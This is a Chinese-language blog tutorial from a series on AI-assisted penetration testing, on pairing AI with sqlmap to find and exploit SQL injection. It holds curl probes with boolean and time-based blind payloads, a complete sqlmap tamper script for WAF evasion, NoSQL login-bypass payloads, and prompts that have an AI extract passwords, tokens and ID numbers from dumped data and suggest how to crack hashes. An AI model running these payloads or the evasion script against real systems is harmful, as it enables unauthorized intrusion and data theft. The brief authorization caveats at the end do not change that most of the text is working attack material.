一句话：sqlmap 负责跑，AI 负责告诉 sqlmap 该往哪跑、以及跑出来的东西到底是什么。
一、SQL 注入为什么还需要 AI
sqlmap 已经很成熟了，但它的短板是：
- 无脑扫所有参数，触发 WAF，浪费时间
- 不理解业务，不知道
sortField这种参数才最可能有问题 - 结果解读弱，dump 出一堆数据要人工分析
- 遇到过不去的 WAF 就卡住，不会自动变形
AI 的价值就是补这四块。
二、前置：AI 帮你做注入点优先级排序
# 输入
目标接口清单：
POST /api/order/list 参数: userId, status, startTime, sortField, sortOrder
GET /api/search 参数: keyword, categoryId, page, size
GET /api/detail 参数: id
# 任务
按"最可能且最容易利用 SQL 注入"的顺序排序，说明理由。
重点考虑：参数类型（数字/字符串）、是否用于排序/分页、
是否为 where 条件拼接、是否有预编译迹象。
AI 输出（实际）：
1. sortField (GET /api/search) —— 最高危
理由：ORDER BY 字段名无法参数化，是预编译的天然盲区
2. orderId / id —— 数字型注入，若无类型强转则直接可用
3. sortOrder —— ASC/DESC 位置，同样无法预编译
4. keyword —— 需 LIKE 拼接，通常有过滤但可尝试
5. status / categoryId —— 枚举型，可能有白名单
先扫 1、2、3，命中率远高于无脑全扫。
三、手工验证优于盲扫
针对高优先级参数，先手工探测：
# 1. 布尔测试
curl -s "https://target/api/detail?id=1" | wc -c
curl -s "https://target/api/detail?id=1 and 1=1" | wc -c
curl -s "https://target/api/detail?id=1 and 1=2" | wc -c
# 1=1 与正常一致，1=2 不同 → 存在注入
# 2. 时间盲注（最稳，不受回显影响）
curl -s "https://target/api/detail?id=1 and sleep(3)"
# 观察响应时间是否增加约 3 秒
# 3. 排序字段注入
curl -s "https://target/api/search?sortField=id,(select 1 from(select sleep(3))a)"
为什么手工先测：一次性发现"有没有注入"，比 sqlmap 跑 10 分钟高效得多。确认存在后再交给 sqlmap 提数据。
四、AI 解读 sqlmap 输出
sqlmap 的 dump 结果常常是一堆乱码和嵌套 JSON。让 AI 结构化：
# 输入
sqlmap dump 输出：
[贴入原始输出]
# 任务
1. 识别这属于哪张表、哪些字段
2. 提取敏感字段（password/hash/token/身份证/手机号）
3. 判断密码哈希类型并给出破解建议
4. 输出结构化 JSON
AI 能快速判断出 $2y$10$... 是 bcrypt、5f4dcc3b5aa765d61d8327deb882cf99 是 MD5("password")，并给出下一步。
五、WAF 绕过的 AI 生成
sqlmap 遇 WAF 卡住时，让 AI 生成定制 tamper：
# 背景
sqlmap 报错：WAF 拦截了 "UNION SELECT" 和空格
目标：MySQL 5.7
# 任务
编写一个 sqlmap tamper 脚本，实现：
1. 关键字内联注释拆分：UNION → /*!50000UNION*/
2. 空格替换为 %0a 或 /**/
3. 保留 SQL 语义不变
# 输出
完整的 tamper python 脚本（sqlmap 格式）
AI 会直接给你一个可用的 tamper：
# tamper: ai_bypass_waf.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
if not payload:
return payload
# 关键字拆分
for kw in ["UNION", "SELECT", "SLEEP", "BENCHMARK"]:
if kw in payload.upper():
payload = payload.replace(kw, f"/*!50000{kw}*/")
payload = payload.replace(kw.lower(), f"/*!50000{kw}*/")
# 空格替换
payload = payload.replace(" ", "%0a")
return payload
然后 sqlmap --tamper=ai_bypass_waf 使用。
六、NoSQL / 二次注入 / 堆叠注入的 AI 辅助
sqlmap 对 NoSQL 支持弱，这时靠 AI 生成测试用例：
# 任务
目标使用 MongoDB（Node.js + mongoose）。
生成 15 个 NoSQL 注入测试 Payload，覆盖：
1. 运算符注入（$ne/$gt/$regex/$where）
2. 对象注入（参数传 {"$ne": null}）
3. JS 注入（$where 后接函数）
4. JSON 类型混淆
每条说明触发条件和预期行为。
典型输出：
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"$where": "this.username == 'admin' || '1'=='1'"}
NoSQL 注入是 AI 明显优于传统扫描器的领域，因为语法多变、需要理解数据模型。
七、二次注入的 AI 辅助挖掘
二次注入（存储型注入）扫描器基本查不到，因为注入点和使用点分离。
AI 的用法：
# 输入
系统功能：
1. 用户注册（nickname 字段存入数据库）
2. 后台导出报表（按 nickname 分组查询，拼接 SQL）
# 任务
分析是否存在二次注入，并给出验证步骤。
AI 会指出：注册时如果 filter 不严，存进去的恶意字符串在后台拼接查询时就会触发注入。这类分析需要理解完整业务流程，正是 AI 的强项。
八、必须注意的边界
- Dump 数据要有节制：只取证明危害所需的最小数据量，不要批量拖库
- 不碰生产数据：
--dump前先确认目标性质和授权范围 - 时间盲注注意超时：
SLEEP(30)这种可能触发告警 - AI 生成的 Payload 先靶场验证：sqlilabs 跑通再打真实目标
九、小结
SQL 注入的 AI 增效公式：
AI 选点（高价值参数排序）
+ 手工快验（sleep 一把梭）
+ sqlmap 深挖（提数据）
+ AI 生成 WAF 绕过（tamper）
+ AI 解读结果（结构化敏感数据）
= 效率提升 3~5 倍，且命中率更高
下一篇：AI 辅助 XSS 挖掘。
系列文章：AI 渗透测试与漏洞挖掘实战